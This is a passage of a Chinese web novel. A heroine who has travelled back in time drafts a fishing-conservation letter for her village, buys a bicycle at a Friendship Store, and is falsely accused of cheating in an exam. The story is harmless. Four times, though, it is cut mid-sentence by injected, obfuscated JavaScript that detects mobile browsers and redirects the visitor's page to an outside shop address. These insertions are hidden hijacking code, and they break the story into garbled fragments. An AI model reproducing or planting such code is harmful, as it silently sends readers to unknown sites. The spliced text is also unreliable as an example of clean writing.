徐夏想起上辈子在教科书上看到的记载,渔民尝到了甜头后,不满足于只是在渔场捕捞大黄鱼的成鱼,加之没有科学知识,开始盲目扩大作业时间,过度捕捞大黄鱼的幼鱼和产卵群体,长久下去,大黄鱼资源开始枯竭,野生种群数量不断下降,直至被IUCN(世界自然保护联盟)列为极危物种,比熊猫的易危还要严重两级。 “没错,”宁三水点点头,向徐夏投来一个欣赏的目光,“不过,学校里这些东西也教?” 宁文害怕三个大人怀疑,慌忙解释道:“教,怎么不教,徐夏学得可好了。” 徐夏望向宁三水的眼神愈加敬佩,她知道大黄鱼的这些知识来源于前世日复一日的积累,宁三水却只在船校学了短短一周,就能将大黄鱼的繁殖方式、生活习性都掌握得如此到位,一眼就看出别船上捕捞的是大黄鱼的产卵群体,看来真得是有几分天赋。 不知不觉间,宁三水和徐夏两人竟生出几分惺惺相惜之感。 文昕问:“这些事,你们和上面反映了没有?” 宁富田说:“咋没说咧,三水头晚和我一讲,第二天我就去给赵书记说了呀,可是赵书记说,这事不好办,牵连到邻省了,不是他一个小小公社书记就能管得了的。” 徐夏急得快哭了:“那咋办,就不管了啊?” 前世她没经历过这些也就算了,可现在要她眼睁睁看着野生大黄鱼被捕捞殆尽直至资源枯竭,那她可是一点也坐不住的。 43.一封信 “你现在咋和宁文似的,咋咋呼呼,着急忙慌地,”宁富田突然笑了起来,“赵书记说,让我们把具体情况写下来,他看能不能想办法递到上边去。” 徐夏问:“那写了吗?” “写了啊,还是三水亲自写的呢,就是……”宁富国起初声音还很大,越说声音越来越小,眼神飘忽不定地瞅了一眼宁三水,讪笑道,“我不好意思说,你自己讲。” “支书,你不用给我留面子,赵书记说我字太丑,内容也不清楚,他不好意思往上递,”宁三水满脸不在乎地从怀里掏出个黄色牛皮纸信封,“你们一家四口都是文化人,看你们能不能帮我梳理一遍,再誊抄好。” 这番话直接把屋子里剩下的几个人都逗笑了,宁三水除去在船校学习,连小学都没读过,能写出这封信,已经是老天赏饭吃了。 徐夏凑上去一看,信封正面歪歪扭扭用铅笔写着“关于压缩近海捕捞能力的建议”一行大字,落款则是渔阳公社解放大队,看来宁三水不是个贪功的人,这么往脸上贴金的事,连自己名字都没写。 宁三水拆开信封,从里面抽出两张信纸,先递给宁富田。 “我不看,我虽然认识几个字,但是哪里看得懂你写的这个东西,”宁富田一边摇头一边摆手,指着徐夏三人说,“她们读书多,给她们仨看。” 文昕接过信纸,看了几秒,也摇着头说:“我就读了个初中,省城又不临海,学校也没教过这些,我也看不懂。” “那我俩看。”宁文一把拿过信纸,和徐夏头挨头,凑在煤油灯下看了起来。 宁三水这信的内容写得就更潦草了,甚至有的字都没写出来,直接画了个圈充数,要不是徐夏有几分专业功底,估计也够呛能看懂她写的什么。 徐夏指着“○○捕捞○○”问:“三水姨,这是个啥意思?” 宁三水扣了下脑袋,难得腼腆地笑起来:“控制捕捞强度,我不会写‘控制’和‘强度’这四个字,查了半天华国字典也没查明白。” 宁三水现在的识字水平,属于只会认,不会写。 徐夏继续往下看起来,两页纸花了很长的篇幅在描述解放大队的机帆船在洋海湾里遇到了邻省捕捞大黄鱼的船只,只用了短短几句话指出问题,显得详略不当,如果是不了解实情的人来看,还以为是在读一本短篇小说。 不过宁三水写的这封信,虽然内容写得稀里糊涂的,外表看起来也像是鬼画符,但是提到了很关键的一点——要控制捕捞强度。 至于怎么个控制法却一句也没写。 徐夏:“三水姨,我有个建议,可以把前面的故事篇幅压缩,重点突出问题分析,末尾再添上几个解决办法,这样信递上去,领导看了,就可以做选择题,而不是问答题。” “这读过书的确实比我们懂得多哈,”宁三水听了眼睛都亮了,嘿嘿笑起来,“就是这解决办法怎么写呢,禁止近海捕捞?” 宁富田急得拍桌大吼起来:“你们这不是乱弄嘛,不准近海捕捞,那和直接砸了大家吃饭的家什有什么区别?” 沿海的渔民大多都靠海吃海,又不是都有大型船能出远海。 禁止近海捕捞,可不都得饿死。 这不光赵向前那一关过不了,就是他宁富田这一关都过不去。 “三水姨的思路是对的,”徐夏点着头分析起来,“但不是全年所有时候都禁渔,这不现实,一是打破了渔民的饭碗,二是海洋生物每年都会迭代更新,只要在时间上避开幼鱼期、产卵期的种群,就能起到保护种群资源的作用。” 徐夏打算干脆就借着这次的机会,提出禁渔期的概念。 宁富田问:“幼鱼期我懂,字面意思就是没长大的鱼嘛,产卵期又是个啥咧?” 宁文插嘴解释:“就是怀孕了,肚子里有鱼宝宝的雌鱼呗。” 宁三水从身上掏出纸币递给徐夏说:“干脆我们边讨论,你就边写吧。” “还是用钢笔写吧,比较正式。”徐夏从书包里拿出一支钢笔在纸上认真写了起来。 屋内几人讨论得热火朝天,宁文将头靠在徐夏肩膀上,一字一句将纸上的内容念出了声: “……近海捕捞能力远远超过资源的再生能力,要坚决控制捕捞强度…… 一是建议划定主要经济鱼类的保护区域,分门别类设定禁渔期。 二是建议改革渔具,严禁使用刺网、底拖网等渔具及电鱼、毒鱼、炸鱼等捕捞方法。 三是建议设立监管部门,允许渔民捕捞优质鱼,禁止捕捞幼鱼……” …… “讨论啥呢,这么激动,”院门“吱呀”一声开了,宁海抱着一垒书走了进来,“哟,大爷和三水也在啊。” “你自己看,我说不清楚”宁富田嫌解释起来麻烦,直接把徐夏写的东西拿给了宁海。 宁海接过来大致扫了一眼,认出是徐夏的字,点头夸赞道:“不错,条理也很清楚,这是写来干嘛的,学校的作业吗?” “学校的作业还用得着我们都围在这里讨论啊,”宁富田一把夺过信纸,轻手轻脚地折叠起来,仿佛对待一件易碎的珍宝,“这可是公社赵书记给的任务,搞不好,还有更大的领导要看咧。” 宁三水接过信纸小心翼翼地放进牛皮信封后说:“支书,要不这署名就写徐夏,毕竟这些办法都是她想的。” 徐夏赶紧摇着头说:“那不行,之前三水姨你都是以整个大队的名义落款,现在我只是起了个头,这信的内容都是大家一起讨论的,是集体的结晶,署我的名可不合适。” 她现在的身份只是个高一学生,这信的内容,没有数年的经验积累可是写不出来的,万一运气好真递了上去,引起有关方面的怀疑怎么办,她可不想突然被拉去做研究了。 宁富田还以为徐夏在谦虚,把信封拍到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宁文有些生气地叉腰说:“爸、妈,爷爷和二叔参加夜校的事,你们怎么不告诉我,也太不够意思了吧,难道我还会生气不成。” 文昕见宁海一副做贼心虚的样子,笑了起来:“你们一周才在家待几天,我们忙忘了也是有的,又不是啥大事。” 宁文:“希望他俩是真的改过自新了吧,这样家里的日子也能过好点。” 宁富国家里现在一共四个人,三个孩子,从前宁湖和陈幺妹都不事生产,全靠着宁富国和冯盼儿下地种那点吃的养活七口人,自从分了家,又不能和过去似的上宁海家打秋风,日子别提有多苦了,经常吃了上顿没下顿。 看来真是穷则思变,宁富国和宁湖这种懒人也被逼得主动向上,竟然想办法要改变这种处境。 宁海见老婆女儿都没生气,终于放下心来。 第二天下午,徐夏和宁文收拾好书包,便上友谊商店把自行车提了。 44.友谊商店 渔阳公社的供销社只有一层楼高,但是位于阳县东边,距离阳高一公里的友谊商店,足足有三层楼。 不同于供销社的大排长龙、人头攒动,友谊商店可以说是门可罗雀、无人问津,只有零星几个人在进进出出,穿得还是统一的黑色套装,不用问都知道是里面的售货员。 进了友谊商店,徐夏却看得目瞪口呆,这里商品种类繁多,甚至有很多进口货和高档货。 “这里怎么连人参和鹿茸都有,”徐夏指着中药材档口吃惊地说,“等等,怎么还有虫草!卖的出去吗?” 不是说好了这个年代全民贫困,物资匮乏吗?怎么友谊商店看起来和后世那些高档商店没什么区别,不光有常见的当归、白芷、黄连等中药材,连名贵的中成药也是应有尽有,看起来也不像是普通人能消费得起的水平。 “这你就不知道了吧,”宁文趴在徐夏耳边低声说,“友谊商店其实咱华国人来得都少,可不怎么赚华币。” 徐夏:“没人买东西不会亏损吗?” 虽然这友谊商店是国营的,有国家支撑,可是长期亏损也不是个办法啊。 “那可不会,”宁文摇摇头,手指向徐夏背后,努努嘴,“不赚华币,赚外汇呗。” 徐夏回头一看,她身后二十米的工艺品档口竟然站着几个金发碧眼的毛子。 “竟然有外国人!”徐夏瞪大了双眼,这还是她穿越过来,第一次见到非华国人。 宁文笑眯眯解释:“外国人可喜欢我们华国这些高级货了,之前不是国际形势紧张嘛,他们也不怎么来了,友谊商店就停业整顿了几年。 现在又逐渐恢复了经济文化交流,外宾就逐渐多了起来,友谊商店才又恢复了营业。 别看人参、鹿茸这些东西我们舍不得买,那外国人买起来可是不眨眼。” “你俩进来做什么的?”一个保安打扮的中年男子突然出现在两人面前,面带怀疑地问。 友谊商店为啥会有保安?倒不是故意区别对待,由于这里主要服务的对象是外国人和外交官,如果出了差错可是会被有心之人利用,故而这里设置有保安来维持良好的治安和秩序,以确保顾客的安全和购物的顺利进行。 外表是高中生的徐夏和宁文两人,看起来可不像是会有钱在这里买东西的样子,更像是来开眼界的。 徐夏从怀里掏出购车票递给保安,脆生生地说:“县里奖励了我们队一辆自行车,上这里来提的。” 中年保安指着宽敞的大楼梯说:“自行车档口在二楼最里面,快上去吧。” 徐夏和宁文噔噔噔跑上二楼,穿过售卖貂皮大衣、丝绸和呢绒毛料的成衣档口和陈列高卢国葡萄酒、美丽国香烟、加勒国威士忌的进口食品档口,才到了自行车专卖档口。 别看这档口只有小小的10个平方,却陈放着十几辆自行车。 不光有本地品牌长江和金狮,还有家喻户晓的凤凰牌、永久牌、飞鸽牌。 除了最基础款的二八大杠,甚至时髦的儿童自行车、折叠自行车和变速自行车也有,看得两人眼花缭乱。 辆辆自行车都擦得锃光瓦亮,凑上去仔细看甚至能在金属车架上瞅到自己的倒影。 档口最里面的门嘎吱一声打开了,走出来一个高挑的售货员,她一边低头整理制服一边向两人道歉:“不好意思顾客,我刚才去仓库点货了。” 徐夏和宁文刚想说没有关系,结果定睛一看,噗嗤笑出了声。 售货员满头雾水抬起头,目光同两人一接触,也哈哈大笑了起来。 还是徐夏先开口问:“小王姐姐,你什么时候到这里来上班了?” 原来这售货员竟然是徐夏和宁文的老熟人——王潇。 王潇一张脸红扑扑的,笑着解释:“友谊商店重组,到各大公社的供销站选拔售货员,主任就推荐了我来。” 王潇因为服务态度好,又善于解决同事惹出来的烂摊子,深受来购物群众的称赞,在整个渔阳公社都是有口皆碑,大家都愿意去她的柜台买东西。 虽然有供销社售货员这么体面的工作,又当上了小组长,她也没安于现状,而是报了夜校学普通话和外语,努力提高自身的修养。 友谊商店恢复营业,原来的售货员要么都推说年纪大了干不动,要不就已经下放到别的地方有了新的工作,没几个人愿意回来。 负责人只好去各个公社选人,一到渔阳公社的供销社,一眼就在人群里相中了外形不错的王潇,再一考察,更被她流利的普通话和外语折服了,连夜就出了文件将她抽调上来,试用期一个月。 徐夏和宁文都很为王潇高兴,海阔凭鱼跃,天高任鸟飞,王潇自身底子不错,又肯上进,友谊商店这样的平台,更能让她发光发热。 徐夏掏出购车票递给王潇:“小王姐姐,我们要买辆自行车。” 王潇接过来一看,仔细核对了公章,在册子上登记下来规格型号,推出一辆基础款的长江牌自行车,又捏了下刹车和铃铛,确认无误后请两人签字。 宁文指着车上贴的价格牌小声说:“供销社的自行车只要180元,没想到友谊商店卖得贵,幸好妈把钱都给我们了。” 徐夏低头一看,价格牌上果然标着200元。 王潇四处张望了一下,眨着眼轻声说:“不用,外宾要200元,华国人九折,还是180。” 一时间整个二楼都回荡着三人愉快的笑声。 买完自行车,照例徐夏前面骑,宁文后面坐,因为在友谊商店耽搁了许多时间,两人虽然骑得飞快,几分钟就到了阳高,但此时已经到了上晚自习的时间,偌大的校园里已经没有一个人在外面游荡了。 两人将自行车停在车库里,疾步走到了教室门口,只见同学们都低头在写作业,许老师坐在讲台上认真地看着教案。 徐夏和宁文目光交汇,无需多言,不约而同弯下腰,双手托举着书包, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12938791|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 避免钢笔撞击到课桌发出声响,蹑手蹑脚地溜向座位。 别看许老师平时都一副和和气气的样子,骨子里最是讲规矩,除去报名那天吕小鱼迟到没事,其他时候如果有人迟到,都得老老实实在教室外面罚站写检讨,严重地还会被叫家长。 两人这次没有缘故的迟到,被她知道了,非得生气不可。 路过最后一排,两人正好和抬头喝水的陈丽珠目光相撞,徐夏心理咯噔一声,坏了,陈丽珠这小人肯定要告状了。 谁知陈丽珠只是瞪了两人一眼,就继续咕噜咕噜喝起了水。 两人悬着的心终于才放了下来。 坐在前排的赵晓莹此时写累了,放下手中的钢笔,甩了甩手,又十指交握,把指关节捏的是啪啪作响。 然后双手紧贴脖颈,轻轻地左右转动脖子,正好看到鬼鬼祟祟往前走的徐夏和宁文。 徐夏轻轻将手指竖放到嘴唇边,冲赵晓莹做了一个标准的“嘘”的手势。 好姐妹一场,这点默契还是有的吧。 哪知道赵晓莹啪嗒一声举起了手,大声说:“报告老师,徐夏和宁文来了。” 徐夏和宁文气了个倒仰,赵晓莹这是吃错什么药了,怎么和陈丽珠上身了似的。 两人战战兢兢待在原地,等着许老师的“审判”。 全班同学都被赵晓莹的声音吸引,纷纷抬起头,直接被两人这副诚惶诚恐的样子逗得哄堂大笑。 “愣着干什么,过来,”许老师一反常态,竟没抓着两人迟到这一点不放,反而冲她们招招手,笑着从桌上拿起一个鲜红色的竖条幅晃了两下说,“公安局给你们送锦旗来了。” 徐夏和宁文卸下书包,小步走到讲台前,凑拢一看,红色锦旗上印着金黄色的十个大字:义举暖人心,勇为好市民。 看来是公安局表彰她俩上回帮忙破了连环抢劫案。 “拿个凳子,自己把锦旗挂黑板上面去,”许老师把锦旗塞到两人手里,指着教室后面说,“这次就算了,下次你俩可不能迟到了。” 两人赶紧赌咒发誓,绝不会再迟到了。 挂完锦旗,两人回到座位,屁股还没坐热,赵晓莹就转过来小声说:“你俩可不够朋友啊,竟然没把参与破获连环抢劫案的事告诉给我。” 徐夏和宁文两人却一言不发,都还在生气赵晓莹刚才告状的事,不准备搭理她。 “你俩不会以为我刚才故意告状吧,”赵晓莹指着自己,满脸委屈地说,“冤枉啊,是许老师说,你俩一回来,就告诉她,她要表扬你们呢。” 原来真的是错怪赵晓莹了,怪不得刚才陈丽珠看见两人迟到也没声张,恐怕是见不得许老师夸她们吧。 宁文松了一口气:“我说你怎么突然转性儿了,还以为你鬼上身了呢,你猜我俩迟到干啥去了?” “我可没时间猜,”赵晓莹拿出一本《高一数学》放到两人面前说,“快复习吧,明天就期中考试了。” 45.陈丽珠的古怪 这下徐夏和宁文两人都傻眼了,期中考试?她俩周末光顾着高兴了,可一点没复习呢。 这理科的考试她不怕,文科可得好好背背,不然到时候非得交白卷不可。 “哟,赵大班长,”不知何时陈丽珠走到了三人座位前,阴阳怪气地说,“你怎么带头说小话呢。” “丽珠,你小声点,”坐在徐夏后面的何秀芳扯着陈丽珠的胳膊,比了个嘘的手势,“一会儿许老师该听见了。” 晚自习本来就是留给学生自己写作业和复习功课的,许老师鼓励大家互相交流,只有一条铁律——绝对不能吵到其他人。 本来徐夏三个人的说话声细如蚊吟,闹出的动静也小,如果不是全神贯注盯着,压根就不会发现她们在说话。 反而陈丽珠这一闹,吸引了不少同学的注意。 “怕什么,”陈丽珠满不在乎地说,“我可不像有的人不以身作则,我这叫秉公持正。” 陈丽珠只要找到机会就喜欢卖弄学问,仿佛说四字成语就会显得她很有文化似的。 其实她完全不必这样,能升学进阳高,就已经能证明她的优秀了。 赵晓莹被堵得哑口无言,虽然她们几个说话音量小,也没影响到周围同学,但确实是在晚自习交头接耳了。 “吵吵嚷嚷啥,”许老师板着张脸,皱着眉说,“不想上晚自习就出去站着。” 得,终归是没逃脱出去罚站的命运。 陈丽珠得意地笑起来,昂着头,不拿正眼看三人,见何秀芳要出去罚站,还把她拦下来:“秀芳你出去作甚,许老师是让她们三个滚出去。” 徐夏心里暗骂她一声狐假虎威,灰溜溜的出了教室,三人靠着墙站成了一排。 站定没两秒,何秀芳也走了出来,挨着徐夏一言不发。 徐夏正惊诧她怎么突然转了性,教室里突然传来了许老师的声音:“陈丽珠你愣着干什么,就你声音最大,还要我请你是吧?” 陈丽珠还以为自己是正义的使者,一看见别人嘀嘀咕咕就跳出来,结果也被许老师一视同仁地赶了出来。 徐夏差点忍不住笑出声,扭头看宁文和赵晓莹,两人都使劲咬着腮帮子憋笑呢。 陈丽珠走出来,咬牙切齿地瞪着三个人,眼睛里满满的怒火。 看来没有何秀芳在前面挡着,陈丽珠的坏心眼是一点都不掩饰了啊。 “铃铃铃——”下晚自习的铃声响了起来,教室里的学生陆陆续续走了出来。 许老师抱着教案严肃地说:“一人一份500字检讨,周六放学前交。” 五人都叫苦连天。 徐夏上辈子是个万里挑一的好学生,这还是头一回被罚写检讨。 宁文就更别提了,她小学五年外加初中两年,除去被陈洪珠刁难过几回,就压根没被批评过,更何况是写检讨。 至于赵晓莹,她的家庭也不会允许她犯错。 别看何陈两人同徐夏几个平时不对付,一遇上就和那乌鸡眼似的,恨不得吃了她们。 但她俩人的成绩可不比徐夏她们差,阳高的宿舍都是按入学考成绩分的,五个人的成绩那是难分伯仲。 许老师这还真是一视同仁,不因为五个人成绩好就高高抬起轻轻放下。 陈丽珠恨得牙痒痒,回教室拿起书包,哼了一声就自顾自走了。 何秀芳竟然冲徐夏三个人又是鞠躬又是道歉,还从书包里掏出薄薄的作业本塞到徐夏手里,才慌里慌张去追陈丽珠。 这一系列动作直把徐夏三个人惊得说不出话来,半天才回过神。 三人低头一看,作业本封面是“期中考试复习重点”八个大字,翻看两页,里面清晰地标记着各科的易错知识点,看这娟秀的笔迹应该是何秀芳自己整理的。 “她吃错药了吧,”赵晓莹满脸不可置信,“该不会是故意写错误导我们吧。” “不大可能,”徐夏一边仔细查看一边摇头,“她列的重点都没错。” 宁文和赵晓莹凑上去一看,果真如徐夏所言,重点被何秀芳这一归纳,简直比老师上课讲的还清晰。 “这么晚了你们还不回宿舍啊?”突然一个男声响起。 三人抬头一看,竟然是孟珏。 只见他推着自行车,咯吱窝下面还夹着两份作业本。 徐夏:“就回,你这是?” “喏,给你的,”孟珏不等三人反应,就将作业本塞到徐夏手里,轻盈地跃上自行车,边朝校门口骑边挥手说,“用不上就扔了吧。” 根本就容不得徐夏拒绝。 她低头一看,竟然是两本一模一样的“期中考试复习重点”,潦草地翻了两下,竟然都整理归纳的不错,可不比何秀芳那本差多少。 真神奇,这世界上活雷锋这么多吗,一晚上就遇见两个? 赵晓莹从徐夏手中抽出两本复习重点,顺手就递给宁文一本:“正好,咱仨一人一本,今晚突击吧。” 等三人顺着人流回到宿舍,陈丽珠已经在床上躺下,何秀芳也已经洗漱完毕,坐在书桌前翻着笔记。 “白天不学,晚上回来想开夜车?”见三人手上都拿着作业本,陈丽珠眉毛一扬,没好气地说,“一会儿熄灯了可别影响我睡觉。” 陈丽珠这话虽说得难听,却没把徐夏三人气到,倒是把何秀芳尴尬住了,她正从抽屉里拿出手电筒,准备挑灯夜战呢。 徐夏:“走,去文峰塔背会儿书。” 三人一拍即合,转身就出了宿舍。 此时已经接近10点,校园里的路灯也都熄灭了。 “哎,等等我!”何秀芳气喘吁吁地追上徐夏,打开手电筒说,“路上太黑了,用这个吧。” 如果不算刚才的鞠躬道歉,这还是何秀芳第一回同她们好好说话。 徐夏还不是很适应何秀芳突如其来的转变,并没伸手去接。 何秀芳见她没有反应,干脆利落地打开了手电筒,一束强光直射文峰塔。 一路上四个人都沉默着不说话,直到进了文峰塔,何秀芳才喃喃道:“徐夏、宁文,谢谢你们。” “嗯?”两人被这声道谢弄得有些摸不着头脑。 “我这周回家才知道,原来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954889|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厂里食堂的鱼油都是和你们队买的,”何秀芳不好意思地说,“之前不该嫌弃你们的虾酱的。” 徐夏和宁文异口同声:“你听谁说的?” 鱼油这件事,除去厂领导和食堂的工作人员,其他人应该不知道才是。 何秀芳解释:“是今天中午我在厂里食堂吃饭,孟珏说得。” 何秀芳可不好意思说,中午孟珏见她吃得香甜,端着饭碗走过来好一顿嘲笑,讥讽她吃人家的东西,却还处处争对别人。 何秀芳原本就是个吃货,这下直接闹了个大红脸。 回家父母见她不像平时那么叽叽喳喳的,就觉得奇怪,问她怎么了,何秀芳便把最近几个月在学校的事情一五一十抖了个干干净净。 别看何秀芳被骄纵得那么傻白甜,她父母可都是人精,觉察出陈丽珠这个人别有用心,让她离陈丽珠远点,还要和徐夏几人道歉, 何秀芳思来想去,不知道拿什么东西赔礼合适,便宜的她拿不出手,贵的她也舍不得。 干脆手写一份复习重点算了,反正马上就考试了。 只是要她离陈丽珠远一点,一时之间她可做不到,毕竟在何秀芳心里,陈丽珠可是她最好的朋友。 徐夏有些惊诧,孟珏啥时候这么爱管闲事了。 何秀芳红着脸,小声问:“那个,你们下次能不能再给我带一瓶虾酱?” 看在陈秀芳这本复习重点的份上,徐夏点头同意了。 “别说了,还是快点来复习吧。”宁文忍不住打断两人的对话。 四人便分散着背靠柱子坐在地上开始复习。 过了一会儿,何秀芳拿着复习重点凑到徐夏跟前:“手拿把陷的意思你知道吗?” 徐夏接过一看,觉得这词怪怪的,问:“这是你写的?” 何秀芳摇摇头说:“不,这是丽珠写的,不过她忘了把意思标注出来。” “什么手拿把陷?明明是手拿把掐,”宁文听见二人的对话也来凑热闹,“你怎么和我们队陈洪珠似的,还写白字。” “陈洪珠?”何秀芳抬起头,“丽珠的爷爷就叫陈洪珠。” “啊,”这下可把徐夏吓得不轻,“你知道她爷爷是哪里人吗?” 万一只是碰巧和解放小学前校长陈洪珠名字同音呢。 何秀芳思索了片刻:“应该也是向阳公社的人吧。” 徐夏松了一口气,看来果真是巧合。 何秀芳继续说道:“她爷爷原来是个小学的校长,年纪大了就退休了。” 徐夏心里咯噔一声响,这世界上哪来那么多凑巧的事,这描述多半是陈丽珠美化过的。 怪不得陈丽珠一直明里暗里找她和宁文麻烦,原来还有这一层的缘故,一定是记恨她们把陈洪珠的工作搞没了吧。 何秀芳好奇地问:“咋了?你们认识她爷爷?” “不认识,”徐夏一边摇头一边把陷字划掉写上了掐。 四人复习了大概一个小时,见夜色愈浓,便回了宿舍休息。 第二天,迎来了期中考试,陈丽珠又搞出了个幺蛾子。 46.作弊疑云 期中考试的考场顺序是按照成绩排的,207宿舍的五个人都分在了第一考场,也就是高一(1)班的教室。 每个考场按照6行5列的布局容纳30名学生,徐夏坐在第2列第4行,后边依次坐着陈丽珠和何秀芳,宁文和赵晓莹则坐在了第5列的前两个位置。 随着“铃铃铃”的声音响起,闹哄哄的考场瞬间安静了下来,徐夏把手里的复习重点合上,站起来放进指定位置,才又重新回到座位。 一个面容冷峻的老师,抱着密封考卷走进教室,啪的一声把试卷放在讲台上,铿锵有力地宣布:“阳县高级中学高一年级期中考试正式开始,我姓刘,是今天的监考老师,下面进行第一堂考试——语文。” 徐夏拿到试卷,迅速地扫了一眼题目,一共只有五道必答题、一个作文和一道参考题。 必答题都很简单,无非是从课本里挑出原文进行生僻字注音、成语填字、分析词组类型、解构多层复合句的层次关系、翻译文言文等。 巧的是,成语填字那道题,正好就是:手拿把()。 徐夏自信地在()里填上了掐。 作文是从“在沸腾的日子里”和“谈青年时代”二选一写,也没限制字数。 参考题的难度有些大,是将课外的文言文进行断句和翻译。 但这些题目对于经过后世题海战术训练的徐夏来说,都是小菜一碟,更何况开学这几个月,她可是认认真真听讲,一次小差都没开过。 她如果成绩比上辈子差,都不用系统嘲笑,自己就想钻进地里不见人了。 想到这里,徐夏甩了两下头,把杂念都抛之脑后,奋笔疾书起来。 一考场坐的都是入学考的尖子生,大家都聚精会神地答题,一时间只听得见钢笔在纸上摩擦的唰唰声。 时间过去一个半小时,徐夏刚把作文题写完。 右手由于长时间的伏案写作有些疼,中指前端因捏笔而摩擦出的老茧隐隐发红,她放下笔,趴在课桌上,准备休息几分钟再检查。 “报告老师,有人作弊!”陈丽珠的声音突然从身后传来。 考场瞬间炸开了锅,仿佛一颗石子掉入平静的湖面,激起了层层涟漪。 “肃静!”刘老师砰地一拍桌,刚才还吵吵嚷嚷的教室立刻变得寂静无声。 那张冷冰冰的脸上,眼神仿佛一道激光啪地射向徐夏身后。 吓得徐夏一个激灵抬起了头。 刘老师急匆匆从讲台上下来,走过五排课桌,站到了徐夏身后陈丽珠跟前。 徐夏这是才注意到她脸上架着的那副眼镜,镜片竟厚的和啤酒瓶底似的 “你说谁作弊?”刘老师的声音同她的外表一样,听不出任何感情。 徐夏不敢回头,赶紧竖起耳朵,想听个明白。 “我前面这个人,徐夏!”陈丽珠斩钉截铁地说。 正在听热闹的徐夏,差点被自己的口水给呛着。 不是,陈丽珠她有病吧! 刘老师语调没有一丝起伏:“你为什么说她作弊?” “喏,她夹带小抄,”陈丽珠从地上拾起一张纸递给刘老师。 刘老师接过一看,上面密密麻麻写着课文里的生僻字,她一把抓起两人的试卷:“徐夏、陈丽珠,你们俩跟我出来。” 徐夏一边感叹自己倒霉一边跟着刘老师到了办公室。 过了几分钟,接到通知的班主任许老师也推门进来,挨着刘老师坐了下来。 刘老师将小抄放在办公桌上,食指笃笃笃敲了三下:“怎么回事?徐夏你解释一下,这小抄是你夹带的吗?” 刘老师看上去已经有几分相信陈丽珠的说辞了。 徐夏:“老师,我没有作弊,我也不知道陈丽珠同学为什么这么说。” 老天啊,考场可没有监控,谁能还她清白,可总不能说学生我百口莫辩吧。 刘老师:“你言下之意是陈丽珠同学冤枉你?” “徐夏,你作弊不承认就算了,怎么还倒打一耙?”陈丽珠慌了神。 “刘老师,你看这里。”许老师突然指着小抄说。 刘老师看了一眼小抄,冲许老师点点头。 许老师拿出一个小黑板,唰唰在上面写了几笔,翻过来问:“你们俩能说说,这个成语填空应该怎么答吗?” 徐夏一看就乐了,黑板上用白色的粉笔写着三个大字:手拿把()。 陈丽珠自信满满地说:“填陷阱的陷。” 刘老师本来端着茶杯在咕噜咕噜地喝水,这下可好,听见陈丽珠的回答,直接喷了出来。 徐夏差点忍不住笑出声:“老师,既可以填掐人的掐,还可以填攥在手里的攥。” 刘老师把茶杯重重地放在桌上:“陈丽珠同学,你能说说,为什么你的回答和小抄上的答案错到一处去了吗?” 陈丽珠支支吾吾起来:“老师,就算我回答不上这道题,也不能说明小抄不是徐夏的。” 许老师:“可这小抄的字迹也同徐夏试卷上的不一样啊?” 刘老师也点头附和:“这手拿把陷四个字反而和你试卷上的字迹很相似。” 陈丽珠:“这小抄是何秀芳同学写给徐夏的复习重点,肯定是她撕了一页带进了考场。” 徐夏被气得不轻,陈丽珠还恶人先告状上了。 刘老师沉思了两秒,夺门而出,一分钟过后就拿着徐夏放在讲台上的复习重点重新走了进来,哗哗翻了几页,竟然真的有撕扯过的痕迹。 拿起桌上的那页纸一对,两者居然严丝合缝,小抄明显就是从这本复习重点上撕下来的。 徐夏此时也觉得事情变得棘手了起来,豆大的汗珠从额头上滴落。 阳高对于考试作弊处罚极其严格,无论是期中考试还是期末考试,只要发现一次就劝退回家。 “刘老师,我插句嘴,”许老师把徐夏的作业本递给刘老师说,“徐夏同学平时成绩就很优异,我相信她不会作弊,陈丽珠同学,其中是不是有什么误会?” 刘老师没接话,继续翻看起了徐夏的作业本。 陈丽珠听见这话,脸涨得通红:“许老师,你未免也太偏心了,谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12976260|132128||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说成绩好就不会作弊?万一徐夏以前的成绩也是靠作弊维持的呢。” 如果自己不是当事人,徐夏就要为陈丽珠这话拍手叫好了,成绩好并不代表一个人品德就优异,她上辈子读书的时候就认识一个这样做的男同学。 为了维持自己好成绩假象,无论月考、期中还是期末考,想法设法去抄同一个考场同学的机读卡。 一直到了高考才现了原形,家长这才明白他所谓的好成绩不过是镜花水月一场空。 